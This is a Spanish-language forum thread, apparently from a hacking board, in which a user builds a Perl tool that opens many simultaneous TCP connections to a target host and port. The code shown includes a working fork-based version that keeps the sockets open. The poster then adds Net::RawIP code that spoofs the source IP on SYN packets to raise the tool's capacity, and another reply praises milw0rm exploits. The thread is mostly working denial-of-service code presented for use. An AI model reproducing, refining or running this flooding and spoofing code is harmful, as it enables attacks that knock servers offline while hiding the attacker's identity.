Veo que hay muchos batch y casi nada de perl :xD de todas formas me voy a aventurar haciendo mi pregunta acá.
Vi un programa el cual creaba coneccciones multiples a un servidor... creo que lo hizo Lympex pero al bajarlo me di cuenta de que estaba creado en visual basic :-\
Intenté crear uno igual en perl pero hasta ahora no me ha resultado. La idea es crear multiples conexiones sin peticiones hacia un servidor son desconectar el socket
use IO::Socket;
use threads;
$host = $ARGV[0];
$puerto = $ARGV[1];
$sockets = $ARGV[2];
$i = 1;
print "Iniciando\n";
while ($i <= $sockets) {
print '*';
$sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $puerto, Proto => 'tcp', Timeout => 1) || die ".";
print $sock "";
$i++;
}
print "\nTerminado.\n";
exit(1);
Lo malo es que conecta y desconecta muchas veces los sockets y la idea es hacerlo simultaneo sin que se desconecte ninguno para despues argumentar que si la conexión falla que buelva a crear el bluce de conexiones.
Un amigo me dijo que podía crear procesos con fork() pero se de otra función que carga sockets en memoria para ser utilizados con createsocket o algo asi pero no sabría como utilizarlo en perl.
Si no se porque casi nadie se dedica a Perl, un lenguaje que abarca tantos entornos y tan simple de aprender que es.
Bueno mis ligeras experiencias con Perl, solo van con otro tipo de modulos y CGI y Tk, no con Sockets sobretodo porque no soy buena con redes por los numeros :P
No puedo ayudarte en cuanto al codigo lamentablemente, porque no he trabajado con sockets, a lo mejor mi respuesta este sumamente incorrecta en un 99%, pero yo supongo que como cuando nos conectamos a un servidor comenzamos a intercalar envio de paquetes y recibir paquetes, como tu tienes un 'while' ahi y el while dice si la variable i es (mayor o menor?? no se el simbolo ese de > o < nunca lo aprendi bien en el colegio) continuo si la variable i es mayor o menor o igual al parametro que asignas como socket entonces haz lo siguiente... y metes una sentencia. Que pasa como andamos enviando y recibiendo paquetes, que pasa si en 1 momento dado dicho paquetes son menor o mayor a los que while especifica? cuando no se cumple debe cancelarse la peticion asi funciona while, entonces al ser un bucle se repite cuando se cae la peticion o sea conecta sockets mientras while se cumple, desconecto sockets cuando no, y esta en ese conecta y desconecta, conecta y desconecta constantemente... Asi lo veo yo, no se :-\
Porque, no pensaste en vez de un while, user un for? y ir leyendo paquetes que van y vienen incrementandolo ? No se, son solo sugerencias mias :P
Gracias de todas formas pero al hacerlo te creaba una sola conexión y esperaba a que terminara y comenzaba la otra y no era esa la idea.
Pedí ayuda en un foro esclusivo de perl y me han ayudado muchisimo y he aprendido bastante también. El código quedó así:
#!/usr/bin/perl
use IO::Socket;
use strict;
use warnings;
$|=1;
my ($sitio, $port, $protocolo, $n);
unless (@ARGV == 4) { die "uso: $0 [Host] [Puerto] [Protocolo] [Nº Sockets]\nEjemplo : $0 127.0.0.1 22 tcp 1000" } ($sitio, $port, $protocolo, $n) = @ARGV;
my @hosts = map { $sitio } 1 .. $n;
print "Iniciando...";
sub doit {
my $server = shift;
print ".";
my $sock
= new IO::Socket::INET(
PeerAddr => $server,
PeerPort => $port,
Proto => $protocolo,
)or die "$!\n";
print $sock "";
}
for ( @hosts ) {
next if my $kid = fork;
die "fork: $!" unless defined $kid;
doit $_;
exit;
}
1 while wait != -1;
print "\nTerminado.\n";
Ahora estoy intentando darle opciones de spoofing ip para aumentar su capacidad:
use Net::RawIP;
$n = Net::RawIP->new;
$n->set({
ip => {
saddr => 'google.cl',
daddr => '127.0.0.1',
},
tcp => {
source => 3254,
dest => 22,
psh => 1,
syn => 1,
},
});
$n->send;
$n->ethnew("eth0");
$n->ethset(source => 'google.cl', dest =>'127.0.0.1');
$n->ethsend;
$p = $n->pcapinit("eth0", "dst port 21", 1500, 30);
$f = dump_open($p, "/home/yan/log");
loop($p, 10, \&dump, $f);
Cuando termine el programa lo postearé. Si tienen ideas... bienvenidos sean.
CitarSi no se porque casi nadie se dedica a Perl
Incluso la gran mayoría de los exploits que puedes encontrar en milw0rm están hechos en perl y para mi es un muy buén lenguaje como para continuar mas adelante con C y ensamblador.